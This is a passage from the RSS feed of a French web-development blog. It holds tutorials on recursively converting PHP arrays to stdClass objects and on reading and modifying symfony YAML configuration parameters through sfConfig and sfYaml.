	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=symfony%3A%20Utiliser%20sfWidgetFormJQueryDate%20avec%20sfFormExtraPlugin&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fsymfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/symfony/symfony-utiliser-sfwidgetformjquerydate-avec-sfformextraplugin.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>PHP Convertir un tableau en objet stdClass</title>
		<link>http://www.mcherifi.org/developpement-web/php/php-convertir-un-tableau-en-objet-stdclass.html</link>
		<comments>http://www.mcherifi.org/developpement-web/php/php-convertir-un-tableau-en-objet-stdclass.html#comments</comments>
		<pubDate>Wed, 30 Dec 2009 14:04:30 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[array to stdClass]]></category>
		<category><![CDATA[php array to object]]></category>
		<category><![CDATA[stdClass]]></category>
		<category><![CDATA[type casting]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=523</guid>
		<description><![CDATA[TweetHola les amis!
Travailler avec des tableaux en PHP est parfois embêtant, surtout quand il s&#8217;agit d&#8217;un long tableau avec une dizaine d&#8217;éléments, je préfère écrire 
$obj->element1->element2->element3
 plutôt  que 
$obj['element1']['element2']['element3']
Dans ce tutoriel on verra comment convertir une variable de type Array à un objet de type stdClass:
On considère le tableau suivant : 

$tab = array(
	&#039;key1&#039; [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/php/php-convertir-un-tableau-en-objet-stdclass.html" data-text="PHP Convertir un tableau en objet stdClass" data-count="horizontal">Tweet</a><p>Hola les amis!</p>
<p>Travailler avec des tableaux en PHP est parfois embêtant, surtout quand il s&#8217;agit d&#8217;un long tableau avec une dizaine d&#8217;éléments, je préfère écrire </p>
<blockquote><p>$obj->element1->element2->element3</p></blockquote>
<p> plutôt  que </p>
<blockquote><p>$obj['element1']['element2']['element3']</p></blockquote>
<p>Dans ce tutoriel on verra comment convertir une variable de type Array à un objet de type stdClass:<br />
On considère le tableau suivant : </p>
<pre class="brush: php">
$tab = array(
	&#039;key1&#039; =&gt;; &#039;Hello&#039;,
 	&#039;key2&#039; =&gt; array(
			&#039;subkey1&#039;=&gt;&#039;subval1&#039;,
			&#039;subkey2&#039;=&gt;&#039;subval2&#039;,
			&#039;subkey3&#039;=&gt; array(&#039;foo&#039;=&gt;&#039;bar&#039;)
		  )
        );
</pre>
<h2>Première méthode : Type Casting</h2>
<p>Le <a href="http://www.php.net/manual/fr/language.types.type-juggling.php#language.types.typecasting" target="_blank">type casting</a> est une méthode qui consiste à forcer le type d&#8217;une variable en la précédant du type voulu, exemple : </p>
<pre class="brush: php">
function array_to_object($tab)
{
  return (object)$tab ;
}

$tab = array(
	&#039;key1&#039; =&gt; &#039;Hello&#039;,
 	&#039;key2&#039; =&gt; array(
			&#039;subkey1&#039;=&gt;&#039;subval1&#039;,
			&#039;subkey2&#039;=&gt;&#039;subval2&#039;,
			&#039;subkey3&#039;=&gt; array(&#039;foo&#039;=&gt;&#039;bar&#039;)
		  )
        );

print_r(array_to_object($tab));
</pre>
<p>Cette méthode marche, mais elle n&#8217;est pas récursive, du coup seules les premiers éléments du tableau sont convertis en objets stdClass (key1,key2), le subkey3 reste toujours de type Array :</p>
<pre class="brush: plain">
stdClass Object
(
    [key1] =&gt; Hello
    [key2] =&gt; Array
        (
            [subkey1] =&gt; subval1
            [subkey2] =&gt; subval2
            [subkey3] =&gt; Array
                (
                    [foo] =&gt; bar
                )
        )
)
</pre>
<p>Pour accéder à la valeur de la clé &laquo;&nbsp;foo&nbsp;&raquo;, du sous-tableau &laquo;&nbsp;subkey3&#8243; on doit faire : <i>$tab->key2['subkey3]['foo']</i>, ce qui est un peu chiant, on doit donc parcourir le tableau de façon récursive pour obtenir : <i>$tab->key2->subkey3->foo</i>! </p>
<h2>Deuxième méthode: une fonction array_to_object()</h2>
<pre class="brush: php">
function array_to_object($tab)
{
	$data = new stdClass ;
	if(is_array($tab) &amp;&amp; !empty($tab))
	{
		foreach($tab as $key =&gt; $val)
		{
			if(is_array($val))
				$data-&gt;$key = array_to_object($val);
			else
				$data-&gt;$key = $val ;
		}
	}
	return $data ;
}

$tab = array(
	&#039;key1&#039; =&gt; &#039;Hello&#039;,
 	&#039;key2&#039; =&gt; array(
			&#039;subkey1&#039;=&gt;&#039;subval1&#039;,
			&#039;subkey2&#039;=&gt;&#039;subval2&#039;,
			&#039;subkey3&#039;=&gt; array(&#039;foo&#039;=&gt;&#039;bar&#039;)
		  )
        );

print_r(array_to_object($tab));
</pre>
<p>Résultat d&#8217;exécution : </p>
<pre class="brush: plain">
stdClass Object
(
    [key1] =&gt; Hello
    [key2] =&gt; stdClass Object
        (
            [subkey1] =&gt; subval1
            [subkey2] =&gt; subval2
            [subkey3] =&gt; stdClass Object
                (
                    [foo] =&gt; bar
                )
        )
)
</pre>
<p>Et voilà, tout est objet! ainsi on peut faire : <em>$tab->key2->subkey3->foo</em> ce qui est plus joli à mon gout =)</p>
<p>Happy coding</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&d=http://twitter.com/home?status=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&d=http://www.facebook.com/share.php?u=TARGET%26t=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;annotation=Hola%20les%20amis%21%0D%0A%0D%0ATravailler%20avec%20des%20tableaux%20en%20PHP%20est%20parfois%20emb%C3%AAtant%2C%20surtout%20quand%20il%20s%27agit%20d%27un%20long%20tableau%20avec%20une%20dizaine%20d%27%C3%A9l%C3%A9ments%2C%20je%20pr%C3%A9f%C3%A8re%20%C3%A9crire%20%0D%0A%0D%0A%24obj-%3Eelement1-%3Eelement2-%3Eelement3%0D%0A%0D%0A%20plut%C3%B4t%20%20que%20%0D%0A%0D%0A%24obj%5B%27element1%27%5D%5B%27e" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;notes=Hola%20les%20amis%21%0D%0A%0D%0ATravailler%20avec%20des%20tableaux%20en%20PHP%20est%20parfois%20emb%C3%AAtant%2C%20surtout%20quand%20il%20s%27agit%20d%27un%20long%20tableau%20avec%20une%20dizaine%20d%27%C3%A9l%C3%A9ments%2C%20je%20pr%C3%A9f%C3%A8re%20%C3%A9crire%20%0D%0A%0D%0A%24obj-%3Eelement1-%3Eelement2-%3Eelement3%0D%0A%0D%0A%20plut%C3%B4t%20%20que%20%0D%0A%0D%0A%24obj%5B%27element1%27%5D%5B%27e" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;bodytext=Hola%20les%20amis%21%0D%0A%0D%0ATravailler%20avec%20des%20tableaux%20en%20PHP%20est%20parfois%20emb%C3%AAtant%2C%20surtout%20quand%20il%20s%27agit%20d%27un%20long%20tableau%20avec%20une%20dizaine%20d%27%C3%A9l%C3%A9ments%2C%20je%20pr%C3%A9f%C3%A8re%20%C3%A9crire%20%0D%0A%0D%0A%24obj-%3Eelement1-%3Eelement2-%3Eelement3%0D%0A%0D%0A%20plut%C3%B4t%20%20que%20%0D%0A%0D%0A%24obj%5B%27element1%27%5D%5B%27e" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Hola%20les%20amis%21%0D%0A%0D%0ATravailler%20avec%20des%20tableaux%20en%20PHP%20est%20parfois%20emb%C3%AAtant%2C%20surtout%20quand%20il%20s%27agit%20d%27un%20long%20tableau%20avec%20une%20dizaine%20d%27%C3%A9l%C3%A9ments%2C%20je%20pr%C3%A9f%C3%A8re%20%C3%A9crire%20%0D%0A%0D%0A%24obj-%3Eelement1-%3Eelement2-%3Eelement3%0D%0A%0D%0A%20plut%C3%B4t%20%20que%20%0D%0A%0D%0A%24obj%5B%27element1%27%5D%5B%27e" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&d=http://ping.fm/ref/?link=TARGET%26title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass%26body=Hola%20les%20amis%21%0D%0A%0D%0ATravailler%20avec%20des%20tableaux%20en%20PHP%20est%20parfois%20emb%C3%AAtant%2C%20surtout%20quand%20il%20s%27agit%20d%27un%20long%20tableau%20avec%20une%20dizaine%20d%27%C3%A9l%C3%A9ments%2C%20je%20pr%C3%A9f%C3%A8re%20%C3%A9crire%20%0D%0A%0D%0A%24obj-%3Eelement1-%3Eelement2-%3Eelement3%0D%0A%0D%0A%20plut%C3%B4t%20%20que%20%0D%0A%0D%0A%24obj%5B%27element1%27%5D%5B%27e" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&d=mailto:?subject=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;selection=Hola%20les%20amis%21%0D%0A%0D%0ATravailler%20avec%20des%20tableaux%20en%20PHP%20est%20parfois%20emb%C3%AAtant%2C%20surtout%20quand%20il%20s%27agit%20d%27un%20long%20tableau%20avec%20une%20dizaine%20d%27%C3%A9l%C3%A9ments%2C%20je%20pr%C3%A9f%C3%A8re%20%C3%A9crire%20%0D%0A%0D%0A%24obj-%3Eelement1-%3Eelement2-%3Eelement3%0D%0A%0D%0A%20plut%C3%B4t%20%20que%20%0D%0A%0D%0A%24obj%5B%27element1%27%5D%5B%27e" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;submitHeadline=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;submitSummary=Hola%20les%20amis%21%0D%0A%0D%0ATravailler%20avec%20des%20tableaux%20en%20PHP%20est%20parfois%20emb%C3%AAtant%2C%20surtout%20quand%20il%20s%27agit%20d%27un%20long%20tableau%20avec%20une%20dizaine%20d%27%C3%A9l%C3%A9ments%2C%20je%20pr%C3%A9f%C3%A8re%20%C3%A9crire%20%0D%0A%0D%0A%24obj-%3Eelement1-%3Eelement2-%3Eelement3%0D%0A%0D%0A%20plut%C3%B4t%20%20que%20%0D%0A%0D%0A%24obj%5B%27element1%27%5D%5B%27e&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=PHP%20Convertir%20un%20tableau%20en%20objet%20stdClass&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fphp%2Fphp-convertir-un-tableau-en-objet-stdclass.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/php/php-convertir-un-tableau-en-objet-stdclass.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Manipuler les paramètres de configuration dans symfony</title>
		<link>http://www.mcherifi.org/developpement-web/symfony/manipuler-les-parametres-de-configuration-dans-symfony.html</link>
		<comments>http://www.mcherifi.org/developpement-web/symfony/manipuler-les-parametres-de-configuration-dans-symfony.html#comments</comments>
		<pubDate>Wed, 09 Dec 2009 02:41:31 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Symfony]]></category>
		<category><![CDATA[app.yml]]></category>
		<category><![CDATA[sfconfig]]></category>
		<category><![CDATA[yaml]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=462</guid>
		<description><![CDATA[TweetDans symfony, tous les paramètres de configuration sont stockés dans des fichiers .yml (settings.yml, app.yml, module.yml, logging.yml, and i18n.yml), ceux-ci sont accessibles via une classe spéciale sfConfig, certains sont automatiquement utilisés dans le framework!
Lors du développement d&#8217;une application/module symfony, on peut définir des paramètres de configuration spécifiques à notre application, l&#8217;objectif de ce tutoriel est [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/developpement-web/symfony/manipuler-les-parametres-de-configuration-dans-symfony.html" data-text="Manipuler les paramètres de configuration dans symfony" data-count="horizontal">Tweet</a><p><img class="alignleft size-thumbnail wp-image-335" title="Symfony" src="http://www.mcherifi.org/wp-content/uploads/2009/10/formulaires_symfony-150x150.png" alt="Symfony" width="150" height="150" />Dans symfony, tous les paramètres de configuration sont stockés dans des fichiers .yml (settings.yml, app.yml, module.yml, logging.yml, and i18n.yml), ceux-ci sont accessibles via une classe spéciale sfConfig, certains sont automatiquement utilisés dans le framework!<br />
Lors du développement d&#8217;une application/module symfony, on peut définir des paramètres de configuration spécifiques à notre application, l&#8217;objectif de ce tutoriel est d&#8217;expliquer comment récupérer/modifier les valeurs de ces variables !</p>
<h2>Exemple de fichier de configuration</h2>
<p>On considère que le nom de l&#8217;application est frontend, et le fichier de configuration de l&#8217;application /apps/frontend/config/app.yml </p>
<pre class="brush: plain">all:
  categoryPages:
    maxPages: 10
  productPages:
    maxPages: 5
  generalMax: 15</pre>
<h2>Récupérer une valeur</h2>
<pre class="brush: php">
echo sfConfig::get(&#039;app_categoryPages_maxPages&#039;); // =&gt; 10
echo sfConfig::get(&#039;app_productPages_maxPages&#039;); // =&gt; 5
echo sfConfig::get(&#039;app_generalMax&#039;); // =&gt; 15
</pre>
<p>Symfony utilise le format YAML pour tous ses fichiers de configuration grâce à sa syntaxe simple et efficace, les données sont représentées par une combinaison de listes, tableaux (de hachage) et données scalaires.</p>
<p>L&#8217;accès à une variable se fait via la méthode get() de la classe sfConfig, il suffit d&#8217;indiquer le chemin permettant d&#8217;accéder à la variable, on respectant ces petites règles : </p>
<ul>
<li>Le premier paramètre corrépond au nom d&#8217;un fichier de configuration <u>sans le .yml</u> (settings, app, module, logging, i18n..), ces fichiers se trouve dans le répertoire /apps/NOMAPPLICATION/config/</li>
<li>Il ne faut pas mentionner le &laquo;&nbsp;all&nbsp;&raquo; ou &laquo;&nbsp;default&nbsp;&raquo; dans la méthode sfConfig::get()</li>
<li>Séparez les paramètres par des &laquo;&nbsp;_&nbsp;&raquo; en respectant arborescence selon le fichier .yml</li>
<li>Il est préférable de ne pas utilisé des &laquo;&nbsp;_&nbsp;&raquo; dans le nom des paramètres pour éviter un éventuel conflit</li>
</ul>
<h2>Modifier la valeur d&#8217;un paramètre &laquo;&nbsp;on the fly&nbsp;&raquo;</h2>
<p>La méthode set de la classe sfConfig permet la modification de la valeur d&#8217;un paramètre de configuration, cette modificationn&#8217;est pas permanente, et n&#8217;affecte pas le fichier de configuration concerné:<br />
Exemple :  </p>
<pre class="brush: php">sfConfig::set(&#039;sf_timeout&#039;, 86400);</pre>
<h2>Modifier un paramètre dans le fichier yml</h2>
<p>Par défaut, symfony ne gère pas l&#8217;écriture dans les fichiers de configuration, il n&#8217;y a donc pas de méthode save() dans la classe sfConfig, néanmoins il fourni d&#8217;autre méthodes permettant la réalisation de cette tache:</p>
<p><strong>Exemple :</strong></p>
<p>Modifier app_categoryPages_maxPages dans /apps/frontend/config/app.yml </p>
<pre class="brush: plain">all:
  categoryPages:
    maxPages: 10
  productPages:
    maxPages: 5
  generalMax: 15</pre>
<p>Dans actions.class.php</p>
<pre class="brush: php">$app_config_file = sfConfig::get(&#039;sf_app_config_dir&#039;).&quot;/app.yml&quot;;
$config_values = sfYaml::load($app_config_file);
$config_values[&#039;all&#039;][&#039;categoryPages&#039;][&#039;imap_maxPages&#039;] = 20; // à titre d&#039;exemple
$content = sfYaml::dump($config_values);
file_put_contents($app_config_file, $content);</pre>
<p>sfYaml::load() retourne un tableau associatif contenant les paramètres de configuration du fichier passé en paramètre, sfYaml::dump() permet de génerer le code YAML à partir d&#8217;un tableau sur-lequel on a effectué nos modifications. sans oublier que le chemin du fichier en question doit être inscriptible (+w) pour permettre l&#8217;écriture des nouveaux paramètres</p>
<h2>Pourquoi symfony ne gère pas l&#8217;écriture dans les fichiers YML?</h2>
<p>Je vous rassure, ce n&#8217;est pas un oubli ;) au début ça m&#8217;a fait un peu bizarre mais voilà pourquoi  :</p>
<ul>
<li>Dans symfony, les paramètres de configuration ne découlent pas d’un seul fichier mais de plusieurs fichiers yml (en cascade), on saura pas lequel des fichiers modifier</li>
<li>Sur un serveur de développement, tous les fichiers YAML sont version-nés, si ceux-ci sont édités, il y aura des conflits au moment de mettre à jour par le biais du SVN/GIT</li>
<li>Les fichiers YAML ne sont pas destinés à être modifiés dynamiquement surtout dans un projets collaboratif  (sauf cas particulier)</li>
</ul>
<p>Un grand merci à Charles, Jérôme et François qui m&#8217;ont éclairci les idées à ce sujet =) </p>
<p>Voilà, ce billet touche à sa fin, à très bientôt ;)</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&d=http://twitter.com/home?status=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;annotation=Dans%20symfony%2C%20tous%20les%20param%C3%A8tres%20de%20configuration%20sont%20stock%C3%A9s%20dans%20des%20fichiers%20.yml%20%28settings.yml%2C%20app.yml%2C%20module.yml%2C%20logging.yml%2C%20and%20i18n.yml%29%2C%20ceux-ci%20sont%20accessibles%20via%20une%20classe%20sp%C3%A9ciale%20sfConfig%2C%20certains%20sont%20automatiquement%20utilis%C3" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fsymfony%2Fmanipuler-les-parametres-de-configuration-dans-symfony.html&amp;title=Manipuler%20les%20param%C3%A8tres%20de%20configuration%20dans%20symfony&amp;notes=Dans%20symfony%2C%20tous%20les%20param%C3%A8tres%20de%20configuration%20sont%20stock%C3%A9s%20dans%20des%20fichiers%20.yml%20%28settings.yml%2C%20app.yml%2C%20module.yml%2C%20logging.yml%2C%20and%20i18n.yml%29%2C%20ceux-ci%20sont%20accessibles%20via%20une%20classe%20sp%C3%A9ciale%20sfConfig%2C%20certains%20sont%20automatiquement%20utilis%C3" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
